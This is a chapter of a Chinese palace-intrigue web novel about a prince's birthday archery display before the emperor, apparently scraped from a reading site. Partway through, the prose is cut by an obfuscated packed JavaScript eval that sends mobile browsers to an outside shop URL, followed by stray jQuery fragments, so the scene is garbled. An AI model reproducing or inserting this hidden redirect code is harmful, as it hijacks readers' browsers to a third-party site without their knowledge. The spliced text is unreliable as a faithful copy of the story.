19.箭无虚发
    隔了一两日,不消孟跃私下打听,宫里传出风言风语。

    大公主与驸马不睦,此番进宫意着求皇后做主,允二人和离。

    大驸马原是大皇子麾下干将,后来尚大公主,断了仕途,从前有大皇子压着,夫妇二人维持表面和气,谁料大皇子身陨,大驸马与大公主矛盾骤增。

    还听闻大驸马私下与太子走动,只待皇后一松口,他与大公主和离后,立刻投身太子麾下。

    “混账!”

    皇后勃然大怒,“去给本宫查,本宫倒要看看谁在宫里搅风搅雨。”

    一时间风声鹤唳,人人自危,很是清理了一批人,然而线索到惠贵妃宫里一个洒扫宫人暴毙而断了。

    乌舂欲言又止:“娘娘,再两日就是六皇子的生辰,您看……”

    皇后缓缓攥紧手,尖利的指甲深深陷入肉里,传来刺痛,才令她稍稍冷静,吐出一口浊气:“装模作样的贱人,总有一日本宫会扒了她的伪装。”

    乌舂沉默。

    宫里流言终于止了。

    六皇子生辰那日,他仍到上书房,与弟弟们一道念书。

    孟跃守在屋外,透过直棂窗望去,见六皇子沉静从容,仿佛今日不是他十五岁生辰,而只是一个寻常日子。

    十五皇子一边防着大学士,一边抓耳挠腮想跟六皇子搭上话,大概是想问问六皇子在想什么。

    哪有过生辰还来上书房的?

    巳正,陆大学士结束今日讲学,允皇子们自行安排。

    十五皇子第一个冲上六皇子跟前询问,眼睛瞪的像铜铃,一脸“你今儿生辰,怎么来上书房,你是不是傻”的表情,十分为六皇子惋惜。

    十五皇子的表情太传神,六皇子啼笑皆非,忍不住揉了揉十五皇子的头,又看向其他弟弟:“从前我日日来上书房,不觉有甚,今一朝离去,心中净是不舍。”

    十五皇子目瞪口呆,恨不得当场跟六皇子换一换。

    十六皇子抿着嘴,一张白玉小脸紧绷,十分矜持,但打心眼里的羡慕还是透过那双圆溜溜的乌眸溢出来。

    窗外的孟跃见状,垂首轻笑。

    七皇子拍了拍六皇子的肩膀,笑道:“六哥何需伤感,你我兄弟皆在皇城中,相聚也不过是多走几步路。”

    他几句话消减了离别伤感,十一皇子也道:“六皇兄之后可以在宫外随意逛了。”

    十三皇子央着六皇子给他带些宫外有趣的物件儿,十五皇子跟着凑热闹。

    兄弟们都围着六皇子,十六皇子不动声色退出屋,刚想奔向孟跃,听见身后十七皇子唤他。

    十六皇子鼓了鼓脸,不太高兴转身:“作甚?”

    十七皇子狐疑:“你去哪里?”

    十六皇子垂下眼,鸦羽似的眼睫投下一片阴影,瞧着有些落寞:“六皇兄要走了,我心里闷,出来透透气。”

    “是吗。”十七皇子转身回屋,飞快数三个数又疾步而出,见十六皇子背对他,仍低着头闷闷不乐。

    难道是他想多了?十七皇子嘟囔。这次回了屋门。

    十六皇子看向窗侧的孟跃,眨眼询问,孟跃弯眸。

    十六皇子松口气,这才拉着孟跃的手躲去假山后,拍拍自己的心口:“吓死我了,十七的疑心也太重了。”差点把他抓正着,还好跃跃冲他摇头。

    孟跃静静听着,从怀里掏出一包葵花子,个个颗粒饱满,孟跃两手一剥,露出里面肥厚的瓜子仁,剥了五六颗,她将瓜子仁放十六皇子嫩嫩的手心,“所以殿下行事,要慎重。”

    十六皇子含糊应了一声,将瓜子仁全部塞嘴里,美的眯起眼,咽下肚才道:“五香味的,好吃。”

    孟跃继续给他剥,但这次十六皇子接过瓜子仁,却喂到孟跃嘴边。

    孟跃挑眉:“殿下这算不算借花献佛。”

    十六皇子想了想,“好像是喔。”又笑盈盈道:“先献着嘛。”

    他执意要喂,孟跃张嘴把瓜子仁吃了,十六皇子拿过葵花子,坐在石头上,埋头吭哧吭哧剥瓜子。

    约摸五六颗,他急急喂到孟跃嘴边,“这次是我自己剥的,跃跃吃。”

    孟跃方才那话就是逗他玩,对十六皇子道:“本就是给殿下带的,殿下吃。”

    她身体如今不缺荤糖,对零嘴自然也没甚兴趣了。

    十六皇子不知道孟跃所想,巴巴望着孟跃,两人对峙,最后孟跃败下阵来,将瓜子仁吃了。

    忽而上书房传来喧哗,孟跃将瓜子壳包好,揣入袖中。

    两人出去,正好撞见承元帝领着一众皇子从上书房出来。

    “十六,你去哪儿了?”

    十七皇子心下思索,快速道:“父皇,十六说六皇兄要离开上书房了,他心里闷,去透透气。”

    十六皇子从善如流点点头,“是这样的,父皇。”

    十七皇子:………

    承元帝朝十六皇子招招手,“雏鹰大了就会飞翔,你以后也会离开上书房。”

    十六皇子一脸受教的乖巧模样,十七皇子偷偷翻白眼,七皇子不动声息的挡住他,狠狠拧了弟弟胳膊一把。

    孟跃见状忍笑:该。

    她没入队伍里,一道前往演练场。

    场边等距放置六个靶垛,场中放置木栏,孟跃看了一眼,又飞快瞥向承元帝和六皇子这对天家父子,心下有了猜测。

    果然。

    承元帝对六皇子道:“你擅骑射,今日你若悉数中靶,尽管去御马园挑一匹座驾。”

    十五皇子从后面探出脑袋,大喇喇问:“若是六哥没中呢?”

    承元帝斜睨他一眼,又看向六皇子,似笑非笑:“那就是朕赏什么,是什么了。”

    十五皇子一脸失望。承元帝给气笑了,今儿是小六过生辰,十五失望个什么劲儿。

    六皇子温和笑道:“父皇给儿臣的,在儿臣心里都是好的。”

    承元帝颔首:“去罢。”

    艳阳高照,鼓声震震,听的人耳膜作疼,承元帝携子立高台,演练场尽头,一身雪色锦袍的少年驾马待出。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183436|149951||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    十六皇子悄悄问孟跃:“你觉得六皇兄行吗?”

    孟跃想了想,点头。

    十六皇子闻言小脸严肃,握紧小拳头,目光紧紧盯着六皇子。

    倏地,骏马飞奔,十六皇子微微俯身,风掠起他鬓边的碎发,目光锐利,犹似鸷虫攫搏。

    他一边控制坐下骏马跨栏,一边从背后箭袋中取出三支箭,嗖的一声,三箭齐发,携带摧枯拉朽之势,瞬间洞穿靶心。

    “好——”

    十三皇子和十五皇子异口同声道,承元帝神色矜持,但眼角泄露一丝笑意。

    孟跃眸中惊叹,这就是古代顶级资源培育的成果?!

    天赋,努力,教育缺一不可。

    若易地而处,她莫说洞穿靶心,单驾马跨栏就不易了。

    一圈跑过,六皇子驾马经过台下,他抬起头,朝众人露出一个张扬明媚的笑,衬的那张俊颜愈发白玉生辉,连身后甩动的马尾尖儿都透出灵秀。

    承元帝笑意扩散,对六皇子道:“再接再厉。”

    六皇子谦虚应是。

    第二轮跑动,六皇子已然驾轻就熟,驭马跨过木栏,靠近空靶时,又是三箭齐发。

    轻微的碎裂声,三支箭头毫无意外的洞穿靶心,然而他却没有停下,在经过最后一个靶垛时,抽空箭袋中剩下的四支箭,四箭连发,嗖嗖破空声,箭矢接连洞穿靶心,无一丝偏差。

    箭无虚发!

    少年手握缰绳转向高台,高举长弓,那一刻他与日光同样耀眼。

    “好!”承元帝抚掌大笑,自台而下。十三皇子和十五皇子兴冲冲跟上,十六皇子带着孟跃紧跟其后。

    七皇子目光微沉,十七皇子茫然的看了一眼亲哥。六皇兄比他们想象中,还要厉害三分。

    十一皇子和八皇子对视一眼,心下一紧。

    承元帝下台时,六皇子翻身从马背下来,把弓交给左右,向承元帝而去。

    “父皇。”

    “好小子。”承元帝把着儿子的肩,眼中的欣赏不加掩饰。

    穆延羡慕的看着这一幕,若十六殿下也能得圣上这般称赞就好了。

    十六殿下……十六殿下人呢?

    穆延环视四下,不远处,十六皇子正扒拉六皇子的弓,孟跃借口帮扶十六皇子,也掂了掂弓的重量,好沉。

    难怪箭矢能洞穿靶心。

    “十六,你干嘛呢?”承元帝也没想到一偏头,看见第十六子鬼鬼祟祟的做派,没好气唤。

    十六皇子转身面向承元帝,实话实说道:“父皇,我在看六皇兄的弓,好沉,我抱不动。”

    他目光转落在六皇子身上,绝对性的优势下,十六皇子心服口服,由衷道:“六皇兄,你真勇猛。”

    六皇子愣了愣,随后展颜,像一株生机勃勃的赤松,傲然挺立。他分明还是少年模样,却十分沉稳了。

    承元帝见年幼的儿子敬佩年长的儿子,佯装的愠怒也装不下去了。

    为人父,总归是希望儿子们之间兄友弟恭。